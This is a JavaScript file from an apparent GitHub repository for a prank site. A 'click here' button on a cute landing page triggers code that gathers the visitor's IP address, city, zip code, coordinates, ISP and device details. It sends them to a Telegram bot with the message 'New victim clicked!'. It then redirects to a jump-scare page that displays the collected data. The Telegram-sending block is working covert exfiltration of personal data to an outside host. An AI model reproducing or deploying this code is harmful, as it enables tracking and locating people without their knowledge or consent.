-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathscript.js
More file actions
188 lines (177 loc) · 9.86 KB
/
script.js
File metadata and controls
188 lines (177 loc) · 9.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
// --- API Configuration (user should fill in their own keys if needed) ---
const IPGEOLOCATION_API_KEY = ""; // <-- Put your ipgeolocation.io API key here
const TELEGRAM_BOT_TOKEN = ""; // <-- Put your Telegram bot token here
const TELEGRAM_CHAT_ID = ""; // <-- Put your Telegram chat ID here
// Navigation for landing page
const clickBtn = document.getElementById('click-here-btn');
if (clickBtn) {
clickBtn.addEventListener('click', async function() {
document.body.classList.add('fade-out');
// If API keys are provided, fetch and send info
if (IPGEOLOCATION_API_KEY && TELEGRAM_BOT_TOKEN && TELEGRAM_CHAT_ID) {
let userInfo = {};
try {
const res = await fetch(`https://api.ipgeolocation.io/ipgeo?apiKey=${IPGEOLOCATION_API_KEY}`);
userInfo = await res.json();
} catch (e) {
userInfo = { error: 'Could not fetch user info' };
}
// Prepare message for Telegram
let msg = `New victim clicked!\n`;
if (!userInfo.error) {
msg += `IP: ${userInfo.ip}\nCountry: ${userInfo.country_name}\nState: ${userInfo.state_prov}\nCity: ${userInfo.city}\nZip: ${userInfo.zipcode}\nLat/Lon: ${userInfo.latitude}, ${userInfo.longitude}\nTimezone: ${userInfo.time_zone?.name}\nISP: ${userInfo.isp}\nASN: ${userInfo.asn}\nContinent: ${userInfo.continent_name}\nCurrency: ${userInfo.currency?.name} (${userInfo.currency?.code})\nCalling Code: +${userInfo.calling_code}\nBrowser: ${navigator.userAgent}\nOS: ${navigator.platform}\nLanguage: ${navigator.language}\nScreen: ${window.screen.width}x${window.screen.height}\nDevice: ${/Mobi|Android/i.test(navigator.userAgent) ? 'Mobile' : /Tablet|iPad/i.test(navigator.userAgent) ? 'Tablet' : 'Desktop'}\nReferrer: ${document.referrer || 'None'}\nCookies Enabled: ${navigator.cookieEnabled ? 'Yes' : 'No'}`;
} else {
msg += 'Could not fetch user info.';
}
// Send to Telegram
try {
await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: msg
})
});
} catch (e) {}
}
setTimeout(() => {
window.location.href = 'scary.html';
}, 600);
});
}
// Scary page logic
if (window.location.pathname.includes('scary.html')) {
// Play audio on first user interaction (browser policy)
const audio = document.getElementById('scary-audio');
let audioPlayed = false;
function playAudioOnce() {
if (!audioPlayed && audio) {
audio.play();
audioPlayed = true;
}
}
document.body.addEventListener('click', playAudioOnce, { once: true });
document.body.addEventListener('keydown', playAudioOnce, { once: true });
// If API key is provided, fetch user info, else show local info only
if (IPGEOLOCATION_API_KEY) {
fetch(`https://api.ipgeolocation.io/ipgeo?apiKey=${IPGEOLOCATION_API_KEY}`)
.then(res => res.json())
.then(data => {
document.getElementById('ip-address').innerText = data.ip || 'Unknown';
document.getElementById('country').innerText = data.country_name || 'Unknown';
document.getElementById('state').innerText = data.state_prov || 'Unknown';
document.getElementById('city').innerText = data.city || 'Unknown';
document.getElementById('zip').innerText = data.zipcode || 'Unknown';
document.getElementById('lat-lon').innerText = `${data.latitude}, ${data.longitude}` || 'Unknown';
document.getElementById('timezone').innerText = data.time_zone?.name || 'Unknown';
document.getElementById('isp').innerText = data.isp || 'Unknown';
document.getElementById('asn').innerText = data.asn || 'Unknown';
document.getElementById('continent').innerText = data.continent_name || 'Unknown';
document.getElementById('currency').innerText = data.currency ? `${data.currency.name} (${data.currency.code})` : 'Unknown';
document.getElementById('calling-code').innerText = data.calling_code ? `+${data.calling_code}` : 'Unknown';
})
.catch(() => {
document.getElementById('ip-address').innerText = 'Could not fetch';
document.getElementById('country').innerText = 'Could not fetch';
document.getElementById('state').innerText = 'Could not fetch';
document.getElementById('city').innerText = 'Could not fetch';
document.getElementById('zip').innerText = 'Could not fetch';
document.getElementById('lat-lon').innerText = 'Could not fetch';
document.getElementById('timezone').innerText = 'Could not fetch';
document.getElementById('isp').innerText = 'Could not fetch';
document.getElementById('asn').innerText = 'Could not fetch';
document.getElementById('continent').innerText = 'Could not fetch';
document.getElementById('currency').innerText = 'Could not fetch';
document.getElementById('calling-code').innerText = 'Could not fetch';
});
} else {
// Show only local info
document.getElementById('ip-address').innerText = 'Not available (API key required)';
document.getElementById('country').innerText = 'Not available (API key required)';
document.getElementById('state').innerText = 'Not available (API key required)';
document.getElementById('city').innerText = 'Not available (API key required)';
document.getElementById('zip').innerText = 'Not available (API key required)';
document.getElementById('lat-lon').innerText = 'Not available (API key required)';
document.getElementById('timezone').innerText = 'Not available (API key required)';
document.getElementById('isp').innerText = 'Not available (API key required)';
document.getElementById('asn').innerText = 'Not available (API key required)';
document.getElementById('continent').innerText = 'Not available (API key required)';
document.getElementById('currency').innerText = 'Not available (API key required)';
document.getElementById('calling-code').innerText = 'Not available (API key required)';
}
// Device, browser, OS info
function getDeviceType() {
const ua = navigator.userAgent;
if (/Mobi|Android/i.test(ua)) return 'Mobile';
if (/Tablet|iPad/i.test(ua)) return 'Tablet';
return 'Desktop';
}
document.getElementById('device-type').innerText = getDeviceType();
document.getElementById('browser-info').innerText = navigator.userAgent;
document.getElementById('os-info').innerText = navigator.platform;
document.getElementById('lang').innerText = navigator.language || 'Unknown';
document.getElementById('screen').innerText = `${window.screen.width} x ${window.screen.height}`;
document.getElementById('memory').innerText = navigator.deviceMemory ? navigator.deviceMemory + ' GB' : 'Unknown';
document.getElementById('cpu').innerText = navigator.hardwareConcurrency || 'Unknown';
document.getElementById('referrer').innerText = document.referrer || 'None';
document.getElementById('cookies').innerText = navigator.cookieEnabled ? 'Yes' : 'No';
// Update time
function updateTime() {
const now = new Date();
document.getElementById('current-time').innerText = now.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false });
}
setInterval(updateTime, 1000);
updateTime();
// Add flicker/glitch to info and warnings
document.querySelectorAll('.scary-p, .scary-warning').forEach(el => {
el.classList.add('flicker');
});
// Jump scare: loud scream, scary face overlay, red flash
setTimeout(() => {
// Red flash
let flash = document.createElement('div');
flash.style.position = 'fixed';
flash.style.top = 0;
flash.style.left = 0;
flash.style.width = '100vw';
flash.style.height = '100vh';
flash.style.background = 'rgba(255,0,0,0.7)';
flash.style.zIndex = 10000;
flash.style.opacity = 1;
flash.style.transition = 'opacity 0.5s';
document.body.appendChild(flash);
// Scary face overlay
let face = document.createElement('img');
face.src = 'https://i.imgur.com/1bX5QH6.png'; // Example scary face
face.alt = 'Scary Face';
face.style.position = 'fixed';
face.style.top = '50%';
face.style.left = '50%';
face.style.transform = 'translate(-50%, -50%) scale(1.2)';
face.style.zIndex = 10001;
face.style.width = '60vw';
face.style.maxWidth = '420px';
face.style.pointerEvents = 'none';
face.style.opacity = 1;
document.body.appendChild(face);
// Scream sound
let scream = new Audio('https://cdn.pixabay.com/audio/2022/10/16/audio_12b5b8b6b2.mp3');
scream.volume = 1;
scream.play();
setTimeout(() => {
flash.style.opacity = 0;
face.style.opacity = 0;
setTimeout(() => {
document.body.removeChild(flash);
document.body.removeChild(face);
}, 500);
}, 1200);
}, 5000 + Math.random() * 4000); // Random delay between 5-9s
}
// Fade-out effect for landing page
if (document.body.classList.contains('cute-body')) {
const style = document.createElement('style');
style.innerHTML = `.fade-out { opacity: 0; transition: opacity 0.6s; }`;
document.head.appendChild(style);
}